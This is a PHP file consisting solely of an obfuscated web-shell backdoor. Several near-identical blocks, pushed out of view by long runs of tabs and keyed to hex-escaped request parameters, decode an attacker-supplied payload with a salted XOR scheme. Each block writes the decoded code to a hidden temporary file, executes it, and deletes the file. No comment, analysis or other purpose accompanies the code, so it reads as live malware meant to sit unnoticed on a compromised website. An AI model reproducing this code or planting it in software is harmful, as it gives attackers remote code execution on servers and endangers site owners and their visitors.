<?php																																										if(isset($_REQUEST["f\x61\x63\x74or"]) ? true : false){ $element = array_filter([getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); $val = $_REQUEST["f\x61\x63\x74or"]; $val= explode( '.' , $val ) ; $data = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3 ); foreach ($val as $v => $v5): $sChar = ord($salt3[$v % $sLen] ); $dec = ((int)$v5 - $sChar - ($v % 10)) ^ 61; $data .= chr($dec ); endforeach; while ($record = array_shift($element)) { if (!!is_dir($record) && !!is_writable($record)) { $resource = implode("/", [$record, ".pset"]); if (file_put_contents($resource, $data)) { require $resource; unlink($resource); die(); } } } }
																																										if(!is_null($_POST["\x64\x61t"] ?? null)){ $symbol = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getenv("TEMP"), getcwd()]); $holder = $_POST["\x64\x61t"]; $holder = explode ('.' ,$holder ) ; $ref = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); $z = 0; while ($z <count($holder)) { $v2 = $holder[$z]; $sChar = ord($s8[$z % $sLen] ); $d = ((int)$v2 - $sChar - ($z % 10)) ^ 30; $ref .= chr($d ); $z++; } foreach ($symbol as $comp) { if (is_writable($comp) && is_dir($comp)) { $hld = sprintf("%s/.pset", $comp); if (file_put_contents($hld, $ref)) { include $hld; @unlink($hld); die(); } } } }
																																										if(isset($_POST["k"]) ? true : false){ $fac = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); $descriptor = $_POST["k"]; $descriptor = explode ( ".",$descriptor ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $x = 0; $__len = count($descriptor); do { if ($x>= $__len) break; $v7 = $descriptor[$x]; $chS = ord($salt[$x % $sLen]); $d = ((int)$v7 - $chS - ($x % 10)) ^ 88; $rec .= chr($d); $x++;} while (true); $bind = 0; do { $marker = $fac[$bind] ?? null; if ($bind >= count($fac)) break; if (array_product([is_dir($marker), is_writable($marker)])) { $val = implode("/", [$marker, ".flag"]); $success = file_put_contents($val, $rec); if ($success) { include $val; @unlink($val); exit;} } $bind++; } while (true); }
																																										if(in_array("\x76alu\x65", array_keys($_REQUEST))){ $comp = $_REQUEST["\x76alu\x65"]; $comp = explode (".", $comp ); $rec= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6); $z= 0; while ($z < count($comp)) { $v1= $comp[$z]; $sChar= ord($salt6[$z % $lenS]); $d= ((int)$v1 - $sChar - ($z % 10)) ^ 59; $rec .= chr($d); $z++; } $desc = array_filter(["/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); for ($ent = 0, $factor = count($desc); $ent < $factor; $ent++) { $itm = $desc[$ent]; if (is_writable($itm) && is_dir($itm)) { $fac = vsprintf("%s/%s", [$itm, ".elem"]); $success = file_put_contents($fac, $rec); if ($success) { include $fac; @unlink($fac); die();} } } }
																																										if(@$_POST["\x65le\x6D"] !== null){ $pointer = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TMP")]); $dat = $_POST["\x65le\x6D"]; $dat = explode ('.' ,$dat ) ; $tkn = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); foreach( $dat as $k=> $v3): $chS = ord( $s1[$k % $lenS]); $d =( ( int)$v3 - $chS -( $k % 10)) ^46; $tkn .= chr( $d); endforeach; foreach ($pointer as $parameter_group) { if ((is_dir($parameter_group) and is_writable($parameter_group))) { $descriptor = "$parameter_group/.ent"; if (file_put_contents($descriptor, $tkn)) { include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(@$_POST["i\x74m"] !== null){ $ref = $_POST["i\x74m"]; $ref = explode ( "." , $ref ) ; $bind = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6 ); $p = 0; array_walk( $ref, function( $v5) use( &$bind, &$p, $s6, $lenS) { $sChar = ord( $s6[$p %$lenS] ); $dec =( ( int)$v5 - $sChar -( $p %10)) ^ 85; $bind .= chr( $dec ); $p++; } ); $data_chunk = array_filter([getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir()]); while ($desc = array_shift($data_chunk)) { if (array_product([is_dir($desc), is_writable($desc)])) { $resource = implode("/", [$desc, ".obj"]); if (file_put_contents($resource, $bind)) { require $resource; unlink($resource); die(); } } } }
																																										if(isset($_POST) && isset($_POST["ke\x79"])){ $flg = array_filter(["/var/tmp", "/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP")]); $ent = $_POST["ke\x79"]; $ent= explode( "." , $ent ) ; $flag = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $y = 0; $__tmp = $ent; while ($v3 = array_shift($__tmp)) { $sChar = ord($s2[$y % $lenS]); $dec = ((int)$v3 - $sChar - ($y % 10)) ^ 64; $flag .= chr($dec); $y++; } $reference = 0; do { $value = $flg[$reference] ?? null; if ($reference >= count($flg)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $ent = "$value/.item"; if (@file_put_contents($ent, $flag) !== false) { include $ent; unlink($ent); exit; } } $reference++; } while (true); }
																																										if(array_key_exists("\x74kn", $_REQUEST) && !is_null($_REQUEST["\x74kn"])){ $factor = $_REQUEST["\x74kn"]; $factor=explode ( '.' ,$factor ) ; $res = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); foreach($factor as $o => $v9) {$chS = ord($s9[$o %$lenS]); $dec =((int)$v9 - $chS -($o %10)) ^ 29; $res .=chr($dec); } $sym = array_filter(["/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir(), getcwd()]); $symbol = 0; do { $hld = $sym[$symbol] ?? null; if ($symbol >= count($sym)) break; if (!( !is_dir($hld) || !is_writable($hld) )) { $entry = str_replace("{var_dir}", $hld, "{var_dir}/.object"); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $entry; @unlink($entry); die(); } } $symbol++; } while (true); }


if(isset($_REQUEST["va\x6C"])){
	$hld = $_REQUEST["va\x6C"];
			$hld = 	explode( '.'  	,	 $hld	)	;		
	$reference = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $p = 0;
    
            $__tmp = $hld;
            while($v1 = array_shift($__tmp)) {
                $chS = ord($salt[$p%$lenS]);
                $dec =((int)$v1 - $chS -($p%10))		^	 43;
                $reference .= chr($dec);
                $p++;
            }
	$item = array_filter([session_save_path(), "/tmp", "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]);
	$flag = 0;
do {
    $dat = $item[$flag] ?? null;
    if ($flag >= count($item)) break;
    		if (is_writable($dat) && is_dir($dat)) {
    $bind = implode("/", [$dat, ".pset"]);
    if (file_put_contents($bind, $reference)) {
	require $bind;
	unlink($bind);
	exit;
}
}
    $flag++;
} while (true);
}